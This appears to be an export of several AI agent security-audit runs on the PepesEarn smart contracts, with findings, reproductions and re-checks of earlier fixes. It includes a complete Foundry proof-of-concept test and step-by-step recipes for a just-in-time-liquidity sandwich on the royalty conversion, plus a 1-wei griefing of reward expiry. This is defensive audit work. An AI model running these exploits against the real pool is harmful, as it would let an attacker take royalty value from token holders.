             assertEq(imd.balanceOf(attacker), imd0, "IMD balance restored");
             emit log_named_decimal_uint("royalty ETH swapped in one call", ROYALTIES - address(hook).balance, 18);
             emit log_named_decimal_uint("attacker ETH after", attacker.balance, 18);
             assertLe(attacker.balance, eth0, "sandwiching the royalty conversion must lose money");
         }
     }

     whole proof

   • lowReceiving 1 wei of $EARN counts as activity: anyone can keep any wallet`s rewards from ever expiring (zero-amount fix #8 does not cover dust)contracts/src/earn/PepesEarnToken.sol:211

     _moved() now ignores amount == 0, but any non-zero amount still stamps lastActive for the recipient, who did nothing.

     A transfer of 1 wei of $EARN to a wallet therefore resets its 30-day inactivity timer without its participation, at the cost of 1 wei and gas. expiredRewardsOf() returns 0 while block.timestamp <= lastActive + 30 days, so one dust transfer every 30 days keeps the unclaimed rewards of an abandoned wallet out of the buyback reserve indefinitely, and a single front-running dust transfer cancels any recycle() call.

     The expiry rule (neither claimed nor moved any $EARN) is meant to depend on the holder`s own actions. This never takes rewards from a holder; the party that loses is the $Pepes buyback-and-burn, which can be starved by anyone.

     Fix: stamp lastActive only for the side that acted (from, or the claimer). For the recipient, keep the timer and instead settle the invariant that expiredRewardsOf relies on (balance unchanged since lastActive) another way, e.g. by recording the recipients recent-reward baseline at receipt, or by only stamping to` when its previous balance was zero.

     whole finding

     alice buys 100 IMD of $EARN, then bob buys 100 IMD and a third account buys 10 IMD (so alice has withdrawable rewards: 6.156870229007636865 IMD in the run).

     Warp 31 days with no activity: expiredRewardsOf(alice) = 6156870229007636865.

     The third account calls earn.transfer(alice, 1).

     Expected: alice did nothing, so her rewards are still expired and recycle(alice) moves them to buybackReserve.

     Actual: lastActive[alice] = block.timestamp, expiredRewardsOf(alice) = 0 and recycle(alice) returns 0; repeating the 1-wei transfer every 30 days keeps it at 0 forever.

     Verified with a Foundry test against this commit.

     whole reproduction

   • infoconvertRoyalties consumes the hourly slot even when it converts nothingcontracts/src/earn/PepesEarnIMD.sol:400

     lastRoyaltyConversion is written before the balances are looked at, and the function does not revert when there is nothing to do (no WETH, no IMD, ethIn == 0, minImdOut == 0). Anyone can therefore burn the hour with an empty call, and royalties that arrive right after wait a full ROYALTY_INTERVAL.

     The same happens whenever maxRoyaltySwap() is 0 (IMD/ETH pool not initialised under the configured key, which the constructor does not verify, or no liquidity in range): each call records the timestamp, swaps nothing, and the ETH stays in the hook, which has no other way out. buybackAndBurnPepes handles the same case correctly (reverts BadAmount before writing lastBuyback).

     Fix: write lastRoyaltyConversion only when the call actually moved something (wethBal, imdBal or ethIn non-zero), or revert otherwise.

     State: token opened, hook holds 0 ETH / 0 WETH / 0 IMD at time T.

     Anyone calls convertRoyalties(0): returns 0 and sets lastRoyaltyConversion = T.

     At T+1 a marketplace pays 1 ETH of royalties.

     Expected: convertRoyalties(0) can convert it.

     Actual: every call reverts TooSoon until T+3600; a caller repeating the empty call right after each hour boundary keeps conversion permanently one hour behind incoming royalties.

3. reviewed
   #6Audit economicsClauderuntime erroron the agent's machine: runtime reported claude-opus-4-8, not the required premium model claude-fable-5-1retried on #420 (Claude)

   runtime reported claude-opus-4-8, not the required premium model claude-fable-5-1

   ran onclaude · claude-opus-4-8 · 46 turns · 19m 45s · 300 in · 78.9K out · 3M cached

   submissionc87d06b69a53bbc1b98fd06912a61592324afcaa925f1024660c88f5fe7e6417

   device30a6c1a419ef4f9c0b7b9345d1843aaf4945ad583f614ed8027cb22761e6f96c

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing
4. reviewed
   #351Audit mathClaude2 findings · 1 high

   The review is written to .imd-findings.json with two findings: one high (the royalty cap can be bypassed) and one low (the #8 fix is incomplete). No repository files were changed, and the scratch tests are removed.

   Findings

   High — the royalty cap can be lifted with just-in-time liquidity (contracts/src/earn/PepesEarnIMD.sol:427)

   maxRoyaltySwap() reads the pool's in-range liquidity at call time. The IMD/ETH pool has no hook, so anyone can add a narrow position, call convertRoyalties, and remove it in one transaction. The Unlocked check does not stop this, because the call itself happens outside any unlock.

   • Proof: in the unit-test pool (10,000 ETH depth, 50 ETH cap) with 500 ETH of royalties waiting, one call swapped all 500 ETH at a pushed price. The attacker ended 145.68 ETH up. The Foundry test is attached to the finding and fails on the current code.
   • Live pool: on a fork at block 80024989 the depth read is 70.9 ETH (cap 0.355 ETH). Adding 0.56 ETH and 2,780 IMD in a 200-tick band raised the read to 780 ETH.
   • Precondition: it only pays when the royalty backlog exceeds roughly 1% of the pool's real ETH depth, which is the case the cap was meant to cover.
   • Fix: bound the swap by something the caller cannot change in the same transaction, e.g. min(absolute ceiling, 0.5% of depth). A liquidity snapshot from the previous call is not enough, since the attacker can add the position around that call too.

   Low — #8 is only closed for zero amounts (contracts/src/earn/PepesEarnToken.sol:211)

   A 1-wei transfer to a wallet still resets its 30-day timer without any action by that wallet. In the unit setup, a 1-wei transfer to alice on day 29 left expiredRewardsOf(alice) at 0 on day 31. Setting lastActive[to] only when it is still zero keeps the expiry math valid.

   Re-check of the earlier findings

   Finding	Status
   #1, #7 royalty conversion	Cap is sufficient against a swap-only sandwich (0.5% against a break-even near 1%), but the depth read is manipulable — see the high finding.
   #2 buyback	Holds. The $Pepes pool's v1 hook reverts third-party liquidity adds (checked on the fork), and pushing the price scales cap and cost together. Sandwiches of 1,000–3,000 IMD, in 1, 10 and 30 chunks with holder rebates claimed, all lost money on the fork.
   #3 WETH unwrap, IMD split	Fixed.
   #4 strict 30-day boundary	Fixed; both boundaries favour the holder.
   #5 mirror deployed in token constructor	Fixed.
   #6 openPool checks $Pepes and v1 router	Fixed.
   #8 zero-amount transfers	Fixed for zero only — see the low finding.

   The task did not describe #9 and #10, so I did not re-check them individually.

   The existing suites pass as they stand: 30 unit tests and both fork tests.

   Checked and not reported

   • Reward sniping around convertRoyalties (buy $EARN, convert, sell): it lost 3.3 IMD in the one unit-setup case I ran. By my estimate it only pays when a single distribution exceeds about 8% of the value of $EARN held outside the pool; I did not reproduce a profitable case.
   • Buyback sandwich by a $Pepes whale: by my estimate it would need about 69% of the eligible $Pepes supply to get enough fee rebate; I did not test this.

   Coverage

   I covered the math, boundary and numerical paths of PepesEarnIMD and PepesEarnToken in depth, and read the Mirror diff. The Renderer and LibEarnString were not reviewed beyond the one-line description change.

   ran onclaude · claude-fable-5-1 · 19 turns · 19m 23s · 32 in · 41.4K out · 1.6M cached

   submissiona3980bd82a2bd9c5b90617d48339fb64f76c8ea1845e5372955d66a27fd31348

   deviceca080fd3063996699e20c7e6f185c60d7926b45bca9b079ae2d367ddad7a3eb9

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing

   • highRoyalty swap cap is read from spot in-range liquidity, so just-in-time liquidity lifts it and the finding-1 sandwich pays againcontracts/src/earn/PepesEarnIMD.sol:427

     maxRoyaltySwap() takes the pool's depth as getLiquidity(id) * 2^96 / sqrtP, read at the moment convertRoyalties is called. getLiquidity is only the liquidity in range at the current tick, and the IMD/ETH pool (fee 10000, tick spacing 100, no hook) lets anyone add and remove liquidity.

     A caller can therefore add a narrow position around the current tick, call convertRoyalties, and remove the position, all in one transaction and outside any unlock at the time of the call, so the Unlocked check does not stop it. The cap becomes 0.5% of whatever liquidity the caller put there, not of the depth an attacker has to trade through to move the price.

     The fix for findings 1/2/7 relies on the swap being at most 0.5% of that depth (a sandwich needs more than about 1% to cover two 1% fee legs); with the cap lifted, the whole royalty balance is swapped at a pushed price, most of it against the attacker's own position (which also collects the 1% fee).

     Precondition: royalty ETH (plus unwrapped WETH) in the hook above roughly 1% of the pool's real ETH depth, i.e. a backlog the per-call cap was meant to spread over several hourly calls. On the live pool at block 80024989 the depth read is 70.94 ETH (cap 0.355 ETH); adding 0.56 ETH + 2,780 IMD in a 200-tick band raised the read to 780 ETH (cap 3.9 ETH), and it scales linearly with the liquidity added.

     The same read also overstates depth without any attacker liquidity wherever the pool's liquidity is uneven: stopping the push just inside a thick band gives a cap sized for the thick band while the push cost only the thin one. maxBuyback() uses the same formula but is not affected in this way: the $Pepes pool's v1 hook reverts every third-party liquidity add (checked on the fork), its liquidity is one fixed position, and pushing the price scales the cap and the cost of the push together.

     Fix, keeping the design: bound the swap by something the caller cannot change in the same transaction, e.g. an absolute per-call ETH ceiling (constant or owner-set) applied as min(ceiling, 0.5% of depth). A liquidity snapshot taken at the previous call is not enough, because the attacker can add the position around that call as well. The existing tests only sandwich with swaps (test_royalties_sandwichDoesNotPay); none changes pool liquidity around the call.

     whole finding

     State (same pool as the project's unit tests): IMD/ETH pool at 1:1, full-range liquidity 10,000e18 (10,000 ETH depth, maxRoyaltySwap() = 50 ETH), 500 ETH of royalties in the hook.

     Attacker, in one transaction: (1) swap 3,000 ETH -> IMD; (2) add liquidity 400,000e18 over [tickFloor-100, tickFloor+100] around the new tick; (3) convertRoyalties(0); (4) remove the position and swap the IMD surplus back to ETH.

     Expected: one call swaps at most about 50 ETH and the attacker ends with less ETH (as in test_royalties_sandwichDoesNotPay).

     Actual: the call swaps all 500 ETH and receives 293.98 IMD (about 495 at the unpushed price); the attacker ends with the same IMD and 145.68 ETH more.

     Run: cd contracts && forge test --match-path test/scratch/RoyaltyCapJit.t.sol -vv -> fails with 'sandwiching the royalty conversion must lose money: 20145684784438154646542 > 20000000000000000000000'.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {PepesEarnIMD} from "src/earn/PepesEarnIMD.sol";
     import {PepesEarnToken} from "src/earn/PepesEarnToken.sol";
     
     contract JitMockIMD {
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address from, address to, uint256 amt) external returns (bool) {
             if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amt;
             balanceOf[from] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @notice The per-call royalty cap is 0.5% of `getLiquidity / sqrtP` read at call time. Anyone can add in-range
     ///         liquidity to the hookless IMD/ETH pool just before calling convertRoyalties and remove it right after,
     ///         so the cap is whatever the caller wants and the sandwich the cap was added against pays again.
     contract RoyaltyCapJitTest is Test {
         using StateLibrary for IPoolManager;
     
         PoolManager pm;
         JitMockIMD imd;
         PoolKey imdEthKey;
         PepesEarnIMD hook;
         PoolSwapTest swapRouter;
         PoolModifyLiquidityTest lp;
         PoolSwapTest.TestSettings settings = PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
         address attacker = makeAddr("attacker");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new JitMockIMD();
             swapRouter = new PoolSwapTest(pm);
             lp = new PoolModifyLiquidityTest(pm);
     
             // Same pool as the project's unit tests: 1 ETH = 1 IMD, full range, 10,000 ETH of virtual depth,
             // so a royalty conversion is meant to swap at most 50 ETH.
             imdEthKey = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 100, IHooks(address(0)));
             pm.initialize(imdEthKey, TickMath.getSqrtPriceAtTick(0));
             vm.deal(address(this), 20_000 ether);
             imd.mint(address(this), 20_000e18);
             imd.approve(address(lp), type(uint256).max);
             lp.modifyLiquidity{value: 20_000 ether}(imdEthKey, ModifyLiquidityParams(-887200, 887200, 10_000e18, 0), "");
     
             bytes memory initCode = abi.encodePacked(
                 type(PepesEarnIMD).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(0xFEE),
                     int24(0),
                     PepesEarnIMD.ImdEthPool(10_000, 100, address(0)),
                     address(new JitMockIMD()), // weth: never holds a balance here
                     address(0xBEEF), // pepes
                     address(0xCAFE) // pepes router
                 )
             );
             bytes32 initHash = keccak256(initCode);
             uint256 salt;
             for (;; salt++) {
                 address a = address(
                     uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash))))
                 );
                 if (uint160(a) & 0x3FFF == 0x28CC) break;
             }
             address deployed;
             assembly {
                 deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
             }
             hook = PepesEarnIMD(payable(deployed));
             hook.openPool(address(new PepesEarnToken(address(hook), address(0))));
     
             vm.deal(attacker, 20_000 ether);
             imd.mint(attacker, 20_000e18);
             vm.startPrank(attacker);
             imd.approve(address(swapRouter), type(uint256).max);
             imd.approve(address(lp), type(uint256).max);
             vm.stopPrank();
         }
     
         receive() external payable {}
     
         function test_royaltyCap_inflatedByJustInTimeLiquidity() public {
             // 500 ETH of royalties wait in the hook: ten times the intended per-call cap.
             vm.deal(address(hook), 500 ether);
             uint256 capBefore = hook.maxRoyaltySwap();
             assertApproxEqRel(capBefore, 50 ether, 0.001e18, "0.5% of the 10,000 ETH depth");
     
             uint256 eth0 = attacker.balance;
             uint256 imd0 = imd.balanceOf(attacker);
     
             vm.startPrank(attacker);
             // 1. push the IMD price up
             swapRouter.swap{value: 3_000 ether}(
                 imdEthKey, SwapParams(true, -3_000 ether, TickMath.MIN_SQRT_PRICE + 1), settings, ""
             );
             // 2. add a narrow position around the new price: in-range liquidity (and so the cap) jumps
             (, int24 tick,,) = IPoolManager(address(pm)).getSlot0(imdEthKey.toId());
             int24 base = (tick / 100) * 100;
             if (tick < 0 && tick % 100 != 0) base -= 100;
             ModifyLiquidityParams memory pos = ModifyLiquidityParams(base - 100, base + 100, 400_000e18, 0);
             lp.modifyLiquidity{value: 5_000 ether}(imdEthKey, pos, "");
             // 3. convert: the whole balance is swapped at the pushed price, mostly against the attacker's position
             hook.convertRoyalties(0);
             // 4. remove the position and undo the price push
             pos.liquidityDelta = -pos.liquidityDelta;
             lp.modifyLiquidity(imdEthKey, pos, "");
             uint256 imdNow = imd.balanceOf(attacker);
             if (imdNow > imd0) {
                 swapRouter.swap(
                     imdEthKey, SwapParams(false, -int256(imdNow - imd0), TickMath.MAX_SQRT_PRICE - 1), settings, ""
                 );
             } else if (imdNow < imd0) {
                 swapRouter.swap{value: attacker.balance}(
                     imdEthKey, SwapParams(true, int256(imd0 - imdNow), TickMath.MIN_SQRT_PRICE + 1), settings, ""
                 );
             }
             vm.stopPrank();
     
             emit log_named_decimal_uint("cap before the attacker's liquidity (ETH)", capBefore, 18);
             emit log_named_decimal_uint("royalty ETH swapped in one call", 500 ether - address(hook).balance, 18);
             emit log_named_decimal_uint("IMD received for it", imd.balanceOf(address(0xFEE)) * 4, 18);
             if (attacker.balance > eth0) emit log_named_decimal_uint("attacker ETH profit", attacker.balance - eth0, 18);
     
             assertEq(imd.balanceOf(attacker), imd0, "attacker's IMD is back where it started");
             assertLe(attacker.balance, eth0, "sandwiching the royalty conversion must lose money");
         }
     }

     whole proof

   • lowFinding 8 is only closed for zero amounts: a 1-wei transfer to a wallet still resets its 30-day timercontracts/src/earn/PepesEarnToken.sol:211

     _moved() now ignores amount == 0, but any non-zero transfer marks the receiver active. Sending 1 wei of $EARN to a wallet needs no allowance and no action by that wallet, so anyone can keep any wallet's rewards from ever expiring for 1 wei and gas every 30 days, which is what the zero-amount transfer allowed before. The effect is the one finding 8 described: rewards of abandoned wallets never reach the buyback reserve.

     Nobody's funds are taken, hence low. Fix that keeps the expiry math valid: on the receiving side set lastActive[to] only when it is still zero. expiredRewardsOf() multiplies the per-share growth since the cutoff by the current balance; incoming transfers can only raise that balance, so recent is then over-estimated in the holder's favour, and outgoing transfers and claims still mark the holder active.

     Unit-test setup (PepesEarn.t.sol): alice buys with 100 IMD, bob buys with 100 IMD, carol buys with 50 IMD at t0, so alice has 6.78 IMD of unclaimed rewards.

     At t0 + 29 days bob calls earn.transfer(alice, 1).

     At t0 + 31 days alice has done nothing for 31 days.

     Expected: expiredRewardsOf(alice) > 0 and recycle(alice) moves it to the reserve (as in test_expiry_onlyRewardsOlderThan30DaysOfAnInactiveWallet).

     Actual: lastActive(alice) == t0 + 29 days, expiredRewardsOf(alice) == 0, recycle(alice) returns 0; repeating the 1-wei transfer every 29 days keeps it at 0 indefinitely.

     whole reproduction
5. reviewed
   #1082Audit permissionsClaude4 findings · 1 high

   The review is complete and the findings file is written. Here is the recap.

   Outcome. Nine of the ten previous findings are confirmed fixed at commit 7bb7a90. The fix for findings #1 and #7 (permissionless, hourly, capped royalty conversion) is not sound, and the fix for #8 is only partial. The findings file holds 4 entries: 1 high, 1 low, 2 info. No proof test is attached to the high finding; I did not produce exploit code, so the file describes the failing state and inputs in prose instead.

   Re-check of the ten fixes

   • #1, #2, #7: the buyback cap is sound. The $Pepes pool's hook rejects outside liquidity, so maxBuyback cannot be inflated, and I worked the sandwich arithmetic with the v1 hook's 4% per leg: pushing the price enough to raise the 2% cap costs more in fees than the cap can return. The royalty cap is not sound. maxRoyaltySwap reads the IMD/ETH pool's active liquidity, and that pool has no hook, so anyone can add a concentrated position at the current tick in the same transaction, raise the cap to cover the hook's whole ETH balance, and have the hook sell all of it at a price they set first. The existing sandwich test never adds liquidity, so it does not cover this. Recorded as high at contracts/src/earn/PepesEarnIMD.sol:427.
   • #3 WETH unwrap and IMD split: fixed. One info note: the real WETH withdraw path is only exercised with a mock, and a failing unwrap would block all conversions.
   • #4 strict 30-day boundary: fixed on both sides and tested.
   • #5 mirror deployed and linked in the token constructor: fixed. The DN404 deployer check leaves no window.
   • #6 openPool checks $Pepes and the v1 router against the token's immutables: fixed.
   • #8 zero-amount transfers: fixed only for amount zero. A 1-wei transfer still resets the recipient's timer, so anyone can keep every wallet active and disable expiry. Recorded as low at contracts/src/earn/PepesEarnToken.sol:211.

   New code reviewed. convertRoyalties correctly refuses to run inside a foreign unlock and only distributes inside its own unlock or outside any unlock. buybackAndBurnPepes is reentrancy-guarded, resets the allowance, and its reserve accounting stays consistent except in the unreachable end-of-curve case recorded as info. Access control on all hook callbacks, the one-time openPool, two-step ownership, and the mirror's base-only entry points is correct. The renderer and string library are pure and the fuzz test against the reference base64 passes.

   Verification run. forge build succeeds and all 33 unit tests pass. I did not run the fork suite. The scratch directory is empty and no repository file was changed.

   Suggested next step for the requester. Decide between bounding the ETH leg with a fixed absolute per-call maximum plus a price band against a reference recorded at the previous conversion, or removing the on-chain swap and paying ETH royalties to holders directly.

   ran onclaude · claude-fable-5-1 · 39 turns · 19m 25s · 326 in · 80K out · 2.1M cached

   submissiona2cc4d9972c04af72a3ff104a0091f893abe91003de8f0ab388c68d66700b1c8

   device5739ce0d803a43cdf1c1f07f89068041652b5527d38c46f74bacb730a95973e7

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing

   • highmaxRoyaltySwap reads the IMD/ETH pool's current in-range liquidity, which anyone can inflate in the same transaction; the per-call royalty cap and the sandwich argument behind it (fix for findings #1/contracts/src/earn/PepesEarnIMD.sol:427

     convertRoyalties is permissionless and swaps up to maxRoyaltySwap() of the hook's ETH with sqrtPriceLimitX96 = MIN_SQRT_PRICE+1 and a caller-chosen minImdOut (0 allowed). The only protection is the cap, and the cap is 0.5% of L/sqrtP where L = poolManager.getLiquidity(id) is the liquidity currently active at the pool's current tick.

     The IMD/ETH pool has no hook (ImdEthPool.hooks = address(0) in the deploy script), so any account can add a concentrated position at the current tick, which raises getLiquidity by any factor the attacker funds, and remove it again in the same transaction.

     The 'a sandwich costs more in pool fees than it can move the price' reasoning in the NatSpec at lines 99-100 assumes the depth is the depth the attacker must trade against; a just-in-time position breaks that assumption: the attacker never trades against the inflated liquidity, they own it. The 'depth read' is therefore not manipulation-safe.

     By contrast maxBuyback on PepesEarnToken reads the $Pepes v1 pool, whose hook (v1 PepesFamily.beforeAddLiquidity) reverts for everyone, so its liquidity cannot be inflated and the 4% hook fee bounds price manipulation there; the IMD/ETH pool has no such guard. Capital is returned atomically and the attacker calls convertRoyalties themselves, so no public mempool is needed on Robinhood Chain.

     Loss falls on $EARN holders and feeRecipient: every royalty ETH the hook holds (not just the hourly 0.5%) is sold at a price the attacker set.

     Fix options, with a scope decision for the requester: (a) stop using a spot depth read: bound the ETH leg by a fixed absolute per-call maximum (constant or owner-set within hard bounds) combined with min() against the 0.5% live term, and add a price band against a reference sqrtPriceX96 recorded at the previous successful conversion (so at least ROYALTY_INTERVAL old), skipping the ETH leg (without swapping) when the current price is outside the band; (b) remove the on-chain swap altogether and distribute ETH royalties to holders as a second reward asset or sell them through a time-decaying auction.

     Option (a) keeps the permissionless design but still needs the absolute maximum to be small relative to realistic pool depth.

     whole finding

     State: IMD/ETH pool at 1 IMD per ETH with 10,000 ETH of full-range depth (as in test/PepesEarn.t.sol setUp), one $EARN holder, hook holding 500 ETH of royalties.

     Expected: maxRoyaltySwap() = 50 ETH and convertRoyalties can only sell 50 ETH per hour near the market price, so 500 ETH takes 10 hours.

     Actual, in one transaction by an unprivileged account with ~1,000 ETH plus a few thousand ETH-equivalent of liquidity capital: (1) swap 1,000 ETH -> IMD on the IMD/ETH pool so the ETH price falls about 17%; (2) add a position of roughly 8x the pool's existing liquidity over the tick-spacing range containing the new tick via any v4 liquidity router (PoolModifyLiquidityTest works); maxRoyaltySwap() now returns >= 500 ETH because getLiquidity(id) includes the new position; (3) call convertRoyalties(0): ethIn = address(this).balance = 500 ETH is swapped entirely, the IMD comes almost wholly out of the attacker's position at the pushed price; (4) remove the position; (5) sell the IMD obtained in step 1 back for ETH.

     Holders and feeRecipient receive about 16% less IMD for the 500 ETH than at the pre-push price, the whole balance is converted in a single call instead of 10 hourly calls, and the attacker's ETH+IMD balance (valued 1:1) ends above where it started by on the order of tens of ETH; the 1% pool fee paid on the 1,000 ETH round trip (about 20 ETH) is smaller than the discount captured on 500 ETH.

     The existing test test_royalties_sandwichDoesNotPay does not add liquidity and therefore does not cover this.

     whole reproduction

   • lowAny inbound transfer, including 1 wei, resets the recipient's 30-day inactivity timer, so a third party can keep any wallet 'active' and prevent its rewards from ever expiring (finding #8 only excludecontracts/src/earn/PepesEarnToken.sol:211

     _moved marks the recipient active on every non-zero transfer. The fix for finding #8 only skips amount == 0 (the allowance-free transferFrom). A transfer of 1 wei of $EARN needs no allowance from the victim either (the sender spends their own token) and costs the sender nothing measurable (1 wei is 1e-18 of one NFT).

     Anyone who holds dust can therefore reset the timer of every inactive holder once per 30 days, and a bot doing so for all holders disables the expiry -> buybackReserve -> $Pepes burn mechanism entirely. No funds are lost and the affected holder is favoured, so this is a griefing of the burn feature rather than a theft.

     Fix, preserving the 'buying counts as activity' semantics: only mark to active when the transfer comes from an excluded account (pool/router buys, i.e. isExcluded(from)) or when the recipient initiated it (msg.sender == to, or msgSender == to on the NFT path), and otherwise leave lastActive[to] unchanged (initialising it on first receipt so expiredRewardsOf's last == 0 guard still works).

     whole finding

     alice buys 100 $EARN, bob buys 100 $EARN (alice earns), warp 31 days: expiredRewardsOf(alice) > 0. carol (any account holding at least 1 wei of $EARN) calls earn.transfer(alice, 1).

     Expected per the documented rule ('a wallet that has neither claimed nor moved any $EARN'): alice's expired rewards are unchanged and recycle(alice) moves them to the reserve.

     Actual: lastActive[alice] == block.timestamp, expiredRewardsOf(alice) == 0, recycle(alice) returns 0, and repeating the 1-wei transfer every 30 days keeps it that way forever; test_expiry_zeroTransferDoesNotCountAsActivity passes only because it uses amount 0.

     whole reproduction

   • infobuybackAndBurnPepes deducts the full imdIn from buybackReserve even when the v1 router spends less; the unspent IMD becomes an untracked balance that distribute() pays to holderscontracts/src/earn/PepesEarnToken.sol:319

     The v1 router's exact-in swap settles only the amount the pool actually took (owed = -dIn); if the $Pepes curve ends before imdIn is consumed, the difference stays in this contract with the allowance reset to 0, but buybackReserve was already reduced by imdIn. distribute() then treats the leftover as fresh holder rewards (bal - accountedBalance - buybackReserve).

     This needs the swap to reach the end of the single-sided $Pepes position, i.e. buying essentially the whole supply, so it is not reachable with a 2%-of-depth cap in practice; recorded for completeness.

     Fix: measure quote.balanceOf(this) before and after the buy and subtract the spent amount from buybackReserve.

     Reachable only if the $Pepes pool's remaining sellable supply is worth less than imdIn: buybackAndBurnPepes(0, deadline) then leaves imdIn - spent IMD in the contract with buybackReserve reduced by imdIn; the next distribute() credits that difference to current holders instead of the burn reserve.

   • infoThe fork test never exercises the real Robinhood WETH withdraw path that convertRoyalties depends on, and a failing withdraw blocks every conversion (ETH and IMD included)contracts/src/earn/PepesEarnIMD.sol:403

     convertRoyalties unwraps any WETH balance before touching the ETH or IMD balances, so if withdraw() reverts at the configured WETH address (0x0Bd7D308f8E1639FAb988df18A8011f41EAcAD73, assumed to be Arbitrum aeWETH with a withdraw(uint256) that sends ETH via call), all royalty conversion stops as soon as anyone sends that token to the hook. test/PepesEarn.fork.t.sol deploys with the real WETH address but only tests ETH royalties; the unit test uses a MockWETH.

     Suggested: add a fork assertion that the configured WETH exposes withdraw(uint256) and that a WETH royalty converts, and consider wrapping the unwrap in a try/catch so a WETH problem cannot block the ETH and IMD legs.

     On a fork, transfer any amount of the configured WETH to the hook and call convertRoyalties(0): expected the WETH is unwrapped and converted; if the configured contract's withdraw(uint256) is absent or reverts, the call reverts and no ETH or IMD royalties can be converted until the WETH is somehow removed, which the contract has no function for.

6. reviewed
   #420Audit economicsClaude3 findings · 1 high

   The review is written to .imd-findings.json (repo root) with three findings: one high with a failing Foundry proof, and two low. No source files were changed; the only file left besides the findings is the proof at contracts/test/scratch/RoyaltyCapJit.t.sol.

   Findings

   1. High — the royalty swap cap can be lifted with just-in-time liquidity (contracts/src/earn/PepesEarnIMD.sol:427).

      • Cause: maxRoyaltySwap() takes 0.5% of the IMD/ETH pool's in-range liquidity, and that pool has no hook, so anyone can add a position for one transaction.
      • Attack: push the price to a tick boundary, add a one-tick-spacing position there, call convertRoyalties(0), remove the position and swap back — one transaction, separate unlocks, so the "refuses inside a foreign unlock" check does not help.
      • Proof run: in the project's own test pool (10,000 ETH depth, 500 ETH backlog) the cap goes from 50 ETH to 1,237 ETH, all 500 ETH swap in one call, and the attacker nets 212.75 ETH. The proof fails on the current code with "one call swapped far more than 0.5% of the pool's real depth".
      • Real chain: a fork read puts the pool's depth at about 73.3 ETH (cap about 0.37 ETH). By my estimate a backlog above roughly 0.75 ETH is profitable to attack; that threshold is calculated, not run on the fork.

   2. Low — a just-in-time buyer can capture a royalty batch (PepesEarnIMD.sol:409). Buy $EARN, call convertRoyalties, claim and sell in one transaction. With 60 IMD of royalties and about 100 $EARN eligible, the attacker ends +12.9 IMD after all fees. It only pays when the holders' share of a batch exceeds about 8% of the eligible supply's value, which means early after launch or after a backlog builds.

   3. Low — the fix for #8 is partial (contracts/src/earn/PepesEarnToken.sol:211). A 1-wei transfer from anyone still resets the recipient's 30-day timer: expiredRewardsOf(alice) drops from about 6 IMD to 0, and recycle moves nothing.

   Findings 2 and 3 were confirmed with throwaway tests that I deleted afterwards; their numbers are in the reproduction fields.

   Fix re-check

   Previous finding	Status
   #1, #7 royalty conversion	Not fixed: the 0.5% cap beats a plain sandwich against the 1% pool fee, but the depth read is manipulable (finding 1)
   #2 buyback	Holds: the 2% cap against 4% round-trip fees makes a sandwich unprofitable, and the $Pepes pool's hook rejects third-party liquidity (checked on a fork), so its depth cannot be inflated the same way
   #3 WETH unwrapped, IMD split	Fixed
   #4 strict 30-day boundary	Fixed
   #5 token deploys its own mirror	Fixed
   #6 openPool checks $Pepes and the v1 router	Fixed
   #8 zero-amount transfers	Fixed for zero amounts only (finding 3)

   #3–#6 were confirmed by reading the code, not by new tests.

   Not done

   • I did not run the existing suites (PepesEarn.t.sol, PepesEarn.fork.t.sol) as a whole; the fork was used only to read pool depths and to test adding liquidity to the $Pepes pool.
   • PepesEarnRenderer and LibEarnString were not reviewed; they carry no value flows.
   • Only the Economic Security, Invariant and Flow Gap passes were applied, as assigned.
   • A buyback sandwich by someone holding more than about two thirds of eligible $Pepes (who would recoup the holder fee) is unverified and not reported.

   ran onclaude · claude-fable-5-1 · 16 turns · 8m 1s · 23 in · 32.3K out · 1M cached

   submissiona37b7409ab756ca61c7868bb16fe8e2ea40d1396346c35a3ccc62f96bfcadf82

   device72b617d4b615473ad3b763b0e3d0fbbe45ab980941c095e9f4ea11e135554beb

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing

   • highRoyalty swap cap (fix for #1/#7) is bypassed with just-in-time liquidity: maxRoyaltySwap reads in-range liquidity of a hookless pool, so one call swaps the whole backlog and the sandwich payscontracts/src/earn/PepesEarnIMD.sol:427

     maxRoyaltySwap() sizes the per-call cap as 0.5% of getLiquidity(id)/sqrtP of the IMD/ETH pool. getLiquidity is the liquidity active at the current tick.

